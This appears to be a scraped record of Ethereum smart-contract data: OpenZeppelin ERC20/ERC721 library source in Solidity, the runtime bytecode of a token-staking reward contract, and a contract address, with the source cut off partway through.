interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063a153e708116100a2578063af482b7b11610071578063af482b7b14610244578063dd4670641461024c578063e1e778551461025f578063f2fde38b14610288578063ff2f10bb1461029b57600080fd5b8063a153e708146101da578063a7161515146101fa578063ab23d2e51461021e578063acb13a2f1461023157600080fd5b80635a34928e116100e95780635a34928e146101895780636198e33914610191578063715018a6146101a457806376ad03bc146101ac5780638da5cb5b146101b557600080fd5b8063013eba921461011b578063144fa6d71461014e5780632bb390de146101635780634df9d6ba14610176575b600080fd5b61013b610129366004610a50565b60076020526000908152604090205481565b6040519081526020015b60405180910390f35b61016161015c366004610a50565b6102ac565b005b610161610171366004610a74565b610301565b61013b610184366004610a50565b61036d565b61016161037e565b61016161019f366004610a74565b610397565b61016161057e565b61013b60045481565b6001546001600160a01b03165b6040516001600160a01b039091168152602001610145565b61013b6101e8366004610a50565b60066020526000908152604090205481565b60015461020e90600160a01b900460ff1681565b6040519015158152602001610145565b61016161022c366004610a50565b6105b4565b6002546101c2906001600160a01b031681565b610161610600565b61016161025a366004610a74565b61064b565b6101c261026d366004610a74565b6000908152600560205260409020546001600160a01b031690565b610161610296366004610a50565b610809565b6003546001600160a01b03166101c2565b6001546001600160a01b031633146102df5760405162461bcd60e51b81526004016102d690610a8d565b60405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b0316331461034f5760405162461bcd60e51b815260206004820152601160248201527013db9b1e481391950810dbdb9d1c9858dd607a1b60448201526064016102d6565b600090815260056020526040902080546001600160a01b0319169055565b6000610378826108a1565b92915050565b6000610389336108a1565b905061039481610903565b50565b6002600054036103e95760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016102d6565b6002600055600354604051634f558e7960e01b8152600481018390526001600160a01b0390911690634f558e7990602401602060405180830381865afa158015610437573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045b9190610ac2565b61049b5760405162461bcd60e51b81526020600482015260116024820152702737b732bc34b9ba32b73a103a37b5b2b760791b60448201526064016102d6565b6000818152600560205260409020546001600160a01b031633146104f85760405162461bcd60e51b815260206004820152601460248201527331b0b63632b91034b9903737ba103637b1b5b2b960611b60448201526064016102d6565b600081815260056020526040812080546001600160a01b031916905561051d336108a1565b3360009081526007602090815260408083204290556006909152812080549293509061054883610afa565b91905055506000811180156105675750600154600160a01b900460ff16155b156105755761057581610903565b50506001600055565b6001546001600160a01b031633146105a85760405162461bcd60e51b81526004016102d690610a8d565b6105b260006109e9565b565b6001546001600160a01b031633146105de5760405162461bcd60e51b81526004016102d690610a8d565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316331461062a5760405162461bcd60e51b81526004016102d690610a8d565b6001805460ff60a01b198116600160a01b9182900460ff1615909102179055565b60026000540361069d5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016102d6565b60026000556003546040516331a9108f60e11b81526004810183905233916001600160a01b031690636352211e90602401602060405180830381865afa1580156106eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070f9190610b11565b6001600160a01b03161461075e5760405162461bcd60e51b8152602060048201526016602482015275139bdd081bdddb995c881b9bdc88185c1c1c9bdd995960521b60448201526064016102d6565b6000818152600560205260409020546001600160a01b0316156107b45760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b1bd8dad95960921b60448201526064016102d6565b600081815260056020526040812080546001600160a01b031916339081179091556107de906108a1565b3360009081526007602090815260408083204290556006909152812080549293509061054883610b2e565b6001546001600160a01b031633146108335760405162461bcd60e51b81526004016102d690610a8d565b6001600160a01b0381166108985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102d6565b610394816109e9565b6001600160a01b03811660009081526007602052604081205462015180906108c99042610b47565b6004546001600160a01b0385166000908152600660205260409020546108ef9190610b5e565b6108f99190610b5e565b6103789190610b7d565b600154600160a01b900460ff161561095d5760405162461bcd60e51b815260206004820152601f60248201527f436c61696d696e672072657761726420686173206265656e207061757365640060448201526064016102d6565b3360008181526007602052604090819020429055600254905163a9059cbb60e01b81526004810192909252602482018390526001600160a01b03169063a9059cbb906044016020604051808303816000875af11580156109c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e59190610ac2565b5050565b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038116811461039457600080fd5b600060208284031215610a6257600080fd5b8135610a6d81610a3b565b9392505050565b600060208284031215610a8657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215610ad457600080fd5b81518015158114610a6d57600080fd5b634e487b7160e01b600052601160045260246000fd5b600081610b0957610b09610ae4565b506000190190565b600060208284031215610b2357600080fd5b8151610a6d81610a3b565b600060018201610b4057610b40610ae4565b5060010190565b600082821015610b5957610b59610ae4565b500390565b6000816000190483118215151615610b7857610b78610ae4565b500290565b600082610b9a57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122051c9ec6670b88ce74d01676c888a96e416a041038e5a777bda68c11739d1718864736f6c634300080d0033
[ 0, 9, 12, 16, 5 ]
0xf3272d8C7F2f885266d750e5E44FbE15cEf5bAb5
// SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} 